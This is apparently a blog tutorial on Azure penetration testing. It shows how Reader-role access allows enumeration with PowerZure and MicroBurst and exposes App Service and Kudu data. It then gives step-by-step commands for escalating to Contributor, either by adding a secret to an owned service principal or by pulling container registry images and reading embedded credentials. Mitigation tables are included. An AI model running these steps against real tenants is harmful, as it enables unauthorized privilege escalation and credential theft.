Azure Penetration Testing Part - 3: Exploit Reader Permission
๐ง Exploiting Reader Permissions in Azure (Authenticated Access)
While most attackers target high-privileged accounts like Contributor or Owner, even the seemingly harmless Reader role can provide valuable insight into the Azure environment especially at the initial foothold stage.
In fact, Reader access is often the first authorized level of access given to penetration testers in scoped assessments.
๐ What Can the Reader Role Do?
The Reader role is a built in Azure RBAC role that allows
- Viewing all resource metadata
- Enumerating services, configurations, and policies
- Reading diagnostic settings, networking rules, and tags
It cannot:
- Create or modify any resources
- Assign roles or access policies
- Write to storage or services
๐ง Despite its limitations, Reader access is incredibly useful for reconnaissance, misconfiguration discovery, and planning lateral movement.
๐ก๏ธ Why Reader Is Often Granted in Pentests
This enables:
- Safe, non disruptive enumeration
- Discovery of vulnerable configurations without modifying data
- A comprehensive view of the Azure attack surface
๐ Reader access is often enough to identify data leaks, hardcoded secrets, and paths for escalation all without detection.
๐ฆ First Steps: Resource Enumeration
After gaining Reader access, your first priority is inventory. You want to
- Map the deployed services
- Identify high value targets
- Look for common misconfigurations
This sets the stage for privilege escalation or data access.
๐งฐ Tool 1: PowerZure
๐ PowerZure is a PowerShell based post exploitation toolkit designed for Azure environments.
โ Features:
- Resource enumeration (VMs, Storage, Key Vaults, Networking)
- RBAC and role assignment review
- Logging and diagnostic inspection
- Built in privilege escalation checks
๐ง Example Commands
1Import-Module .\PowerZure.ps1
2Get-AzSubscriptions
3Get-AzVMs
4Get-AzStorageAccounts
5Get-AzRoleAssignmentsYou can also enumerate Key Vaults and diagnostic logs, which often expose secrets or network access paths.
๐ง PowerZure can help identify storage accounts with weak access, vulnerable NSGs, or overly permissive RBAC configurations.
Download PowerZure
1git clone https://github.com/hausec/PowerZure.gitImport the PowerZure module
1cd PowerZure &&
2Import-Module .\PowerZure.ps1This is useful reconnaissance information:
- AADRoles: Shows the role that the current user is assigned in Azure AD.
- AzureRoles: Shows the Azure RBAC role assignments and scopes for the user.
- Available Subscriptions: Shows the subscriptions that the user has somelevel of permission to. This information is useful to see whether there are opportunities to move laterally to other subscriptions using this user account.
determining the actual access that a credential has and its level of access (read/write/execute).
1Get-AzureTargets๐งฐ Tool 2: MicroBurst
Create a Folder
1New-Item -Name "output" -ItemType "directory"Enumerate the Azure subscription
1Get-AzDomainInfo -Verbose -Folder output๐งช What to Look For with Reader Access
| Target Type | What You Might Discover |
|---|---|
| Storage Accounts | Public blobs, diagnostic logs, exposed containers |
| VMs | Tags, networking, public IPs, automation scripts |
| Key Vaults | Vault names, access policies, expired secrets |
| Function Apps | Hardcoded connection strings, secrets in logs |
| Diagnostic Settings | Storage/log destinations may point to exposed data |
| Role Assignments | Overprivileged service principals or misused roles |
๐ง Strategy Moving Forward
- Use Reader access to map everything.
- Identify misconfigured or overly exposed services.
- Plan your privilege escalation path.
- Combine Reader insights with token abuse, identity discovery, or metadata service exploitation if other access is gained
๐งฌ Exploiting App Service Configurations in Azure
Azure App Service is Microsoft's platform for hosting web apps and APIs and it's widely used by enterprises for everything from internal portals to public facing APIs.
Even with only Reader level access, these services can expose configuration data, source code, and file structures that provide excellent footholds for further exploitation.
In this section, we'll explore how to
- Enumerate App Service apps
- Extract DNS endpoints
- Analyze Function Apps for readable source code
๐ Azure App Service Overview
App Service apps include
- Traditional web apps
- APIs
- Azure Function Apps (serverless apps)
Even if you can't modify these apps, you can still learn a lot and leak a lot using the Reader role.
๐ง If these apps are externally facing, the Reader role can reveal URLs, API entry points, and even exposed credentials through diagnostic settings or code.
๐ฆ Enumerating App Services (with PowerShell)
Instead of manually checking the Azure portal, use the Az PowerShell module to programmatically enumerate App Services and their endpoints.
โ List All Web Apps
1Get-AzWebApp๐ Get External Hostnames:
1Get-AzWebApp | Select-Object EnabledHostNames๐ค Export to CSV:
1Get-AzWebApp | Select-Object Name, Location, EnabledHostNames | Export-Csv appservices.csv -NoTypeInformationThis gives you a clean inventory of App Services and their public DNS names, which may be exploitable if
- The app is out of date
- Debug endpoints are exposed
- Environment variables or tokens are improperly configured
โ๏ธ Azure Function Apps
Azure Function Apps are part of the App Service family think of them as Azure's version of AWS Lambda.
They are event driven, run on demand, and are commonly used for automation, microservices, or backend APIs.
Despite being "serverless", they often hold sensitive logic and with Reader access, you can view their source code and file structures.
Function App Risks (Even with Reader Access)
โ 1. Reading Function App Code
You can often read Function source code using PowerShell or the Azure REST API. Depending on the deployment method (e.g., SCM vs. zip deploy), the function code is sometimes stored in the portal or exposed via diagnostics.
Example PowerShell snippet to list function names
1Get-AzFunctionApp | Get-AzFunctionAppFunctionFrom there, you can dig into diagnostic logs or file systems (if available) to view code.
โ 2. Reading App Files
Function Apps often expose files via App Service Kudu (SCM) endpoints at
1https://<appname>.scm.azurewebsites.netThese endpoints sometimes reveal
- Deployment scripts
- Source code (.js, .py, .csx)
- Credentials in config files
- Git history
๐ง Reader access may let you browse file metadata or access diagnostic logging paths even if write access is blocked.
๐งช What to Look For
| Area | Potential Exposure |
|---|---|
| App settings | Hardcoded keys, connection strings |
| Diagnostic logs | Stack traces with secrets |
| Code files | API keys, OAuth tokens, URLs |
| Kudu Console (SCM) | File listing, deployment artifacts |
| Public endpoints | Weak auth, forgotten test APIs |
๐งญ Real World Scenarios
- A Function App exposes logic for a billing system source code reveals an API key to a payment processor.
- A web app has debug mode left enabled in web.config, exposing internal stack traces and credentials.
- A misconfigured Kudu console leaks deployment history and zip archives of app code.
๐ Summary
Even without write access, Azure App and Function Services can leak valuable internal data
- ๐ง Use Get-AzWebApp to inventory web apps and external URLs
- ๐ Inspect Function Apps for readable code and endpoints
- ๐จ Monitor Kudu endpoints for deployment artifacts and config leakage
This is a key phase in identifying high value lateral movement paths and potential privilege escalations.
๐ Escalating Privileges Using a Misconfigured Service Principal
Privilege escalation in Azure doesn't always require a high-privilege starting point. Even with Reader-only access, a misconfiguration such as improperly delegated ownership of a service principal can open the door to full subscription compromise.
In this section, we'll walk through how to identify and abuse a misconfigured service principal (SP) using PowerZure to escalate from Reader โ Contributor.
๐ง Why This Matters
Azure allows users to own App Registrations (service principals). Even if those users don't have write access to other resources, application ownership allows them to:
- Add or reset client secrets
- Authenticate as the service principal
- Impersonate the app's permissions
โ ๏ธ If the service principal is assigned high privileges (e.g., Contributor), this becomes a direct privilege escalation vector.
๐งฐ Tools Required
- ๐ง PowerZure: PowerShell toolkit for post-exploitation in Azure
- ๐งช Az CLI: For authenticating and verifying new access
- ๐ก Reader-role credentials in the target subscription
โ Step 1: Load PowerZure
1Import-Module .\PowerZure.ps1โ Step 2: Confirm Current Access Level
1Show-AzureCurrentUserYou should see that you have Reader access no ability to modify resources.
โ Step 3: Find Owned Applications
1Get-AzureAppOwner๐ Look for apps where the Reader-level user is listed as the owner. This is often the result of users registering their own apps (which grants them ownership by default)
โ Step 4: Add a Secret to the App
1Add-AzureSPSecret -ApplicationName customapp -Password Password456Note down:
- Application ID
- Application ID
These will be used to authenticate as the app (service principal).
โ Step 5: Authenticate as the Service Principal using Az CLI
1az login --service-principal --username APP_ID --password Password456 --tenant TENANT_IDโ Step 6: Verify Escalated Role using Az CLI
Check the permissions granted to this Spanish
1az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'๐ If you see Contributor or higher assigned at the subscription scope you've successfully escalated privileges from Reader โ Contributor.
๐ง Why This Happens
This vulnerability stems from improper delegation of app ownership. Key Azure behaviors to understand
- Any user can register an app (by default)
- The registering user becomes the owner
- Owners can reset credentials (client secrets)
- If the app has Contributor or Owner role, the user can escalate
๐ก๏ธ Mitigation Tips
| Action | Purpose |
|---|---|
| Restrict app registration | Limit who can register and own applications |
| Monitor SP role assignments | Alert when apps are assigned Contributor/Owner |
| Review app ownership regularly | Remove excessive or stale owners |
| Apply PIM to SP roles | Require approval before granting high roles |
๐ฆ Exploiting Azure Container Registries (ACR)
Microsoft Azure typically enforces strict separation between management plane and data plane access but the Azure Container Registry (ACR) is an exception.
Even a Reader role assigned to an ACR can:
- Authenticate to the registry
- Pull and inspect container images
- Extract embedded credentials or secrets
This architectural quirk opens up serious privilege escalation opportunities if developers have stored sensitive credentials inside containers.
๐ง Why ACR Access Matters
If a user has Reader permissions on an ACR
- โ They cannot push or overwrite images
- โ But they can pull all images, even old versions
- ๐ And inspect them locally for hardcoded secrets
This makes ACR a prime target when hunting for
- Service principal credentials
- API keys
- Connection strings
- Hardcoded passwords
- Internal tooling or debug logic
๐ง Tools Used
- Azure CLI
- Docker
- PowerShell + WSL (for Linux CLI access)
๐งช Step by Step: Harvesting Secrets from ACR
โ Step 1: Authenticate as Reader
1az login -u readeruser@<DOMAIN> -p Password123โ Step 2: List Available Container Registries
1az acr list -o tableNote the registry name (e.g., acr3482).
โ Step 3: Generate Registry Login Token
1acr=acr3482
2loginserver=$(az acr login -n $acr --expose-token --query loginServer -o tsv)
3accesstoken=$(az acr login -n $acr --expose-token --query accessToken -o tsv)Log into Docker:
1docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstokenโ Step 4: List Repositories and Tags
List container images
1az acr repository list -n $acrThen list tags for a repository (e.g., nodeapp-web):
1az acr repository show-tags -n $acr --repository nodeapp-web๐ Old image versions often contain credentials that were never scrubbed before pushing.
โ Step 5: Switch to PowerShell to Pull Image
๐ Docker on Windows requires PowerShell for image pulls.
1$loginserver = "LOGIN_SERVER"
2$accesstoken = "ACCESS_TOKEN"
3
4docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken
5docker pull $loginserver/nodeapp-web:v1โ Step 6: Inspect the Image for Secrets
1docker container run --rm $loginserver/nodeapp-web:v1 envLook for
- APP_ID
- APP_KEY
- TENANT_ID
These are service principal credentials embedded in the environment variables.
๐ Step 7: Authenticate as the Service Principal
1az login --service-principal --username APP_ID --password SECRET_KEY --tenant TENANT_IDโ Step 8: Confirm Role Assignments
Check what the service principal can access
1az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'๐ If the SP has the Contributor role you've just escalated from a low privilege Reader to full subscription write access.
๐ง Pentest Insight
| Phase | Tool/Command | Purpose |
|---|---|---|
| Auth as Reader | az login | Initial low-privileged access |
| ACR Enumeration | az acr list / show-tags | Find image names and versions |
| Token Harvesting | docker pull / docker run env | Extract secrets from containers |
| SP Impersonation | az login --service-principal | Elevate to Contributor |
| Role Validation | az role assignment list | Confirm effective access |
๐ก๏ธ Defensive Measures
- ๐ Avoid embedding secrets in Dockerfiles or app configs
- ๐งผ Regularly prune old image tags from ACR
- ๐ Audit image content before deployment (CI/CD scans)
- ๐ซ Restrict Reader access on ACR to trusted service accounts